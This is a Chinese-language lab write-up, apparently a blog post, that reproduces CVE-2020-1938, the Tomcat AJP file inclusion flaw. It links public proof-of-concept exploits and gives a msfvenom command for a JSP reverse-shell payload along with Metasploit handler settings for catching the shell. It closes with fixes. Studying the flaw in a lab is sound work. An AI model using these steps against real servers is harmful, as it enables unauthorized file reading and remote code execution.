CVE-2020-1938 Tomcat文件包含漏洞复现
0x01 漏洞概述
Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。
Apache Tomcat 7.0.100之前的7.*版本、8.5.51之前的8.*版本和9.0.31之前的9.*版本中的Tomcat AJP协议存在文件包含漏洞。攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp 配置文件或源代码等。
0x02 影响版本
| Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31 | 
0x03 环境搭建
- Centos7 (192.168.114.129)
- Kali (192.168.114.173)
- Tomcat 9.0.30
- jdk 1.8.0_261
① 下载tomcat 9.0.30版本并在Centos7上配置安装
下载地址:https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.30/bin/
  
tomcat在centos7上的安装方法百度上有很多,这里参考了这篇
https://cloud.tencent.com/developer/article/1334759
② 浏览器访问ip:8080查看
     
tomcat环境搭建成功。
0x04 漏洞复现
① 这里使用github上的POC验证漏洞
https://github.com/hypn0s/AJPy
运行POC可查看tomcat的版本信息
  
运行POC读取tomcat的配置文件信息web.xml
  
可看到成功读取到配置信息。
②利用该漏洞实现RCE
需要先将payload上传至tomcat目录下,然后利用该漏洞激活payload,反弹shell。
① 使用msfvenom生成shell.txt
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=4444 > shell.txt

②上传至tomcat目录
            
③执行POC查看反弹Shell
这里使用了另一个POC:
https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC
- Kali打开MSF
msfconsole msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.114.173 msf6 exploit(multi/handler) > set LPORT 4444
- 执行POC
         
- Kali接受反弹Shell
          
0x05 修复建议
升级最新版本
关闭AJP Connector
将其监听地址改为仅监听本机
 
                    
                     
                    
                 
                    
                
 
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号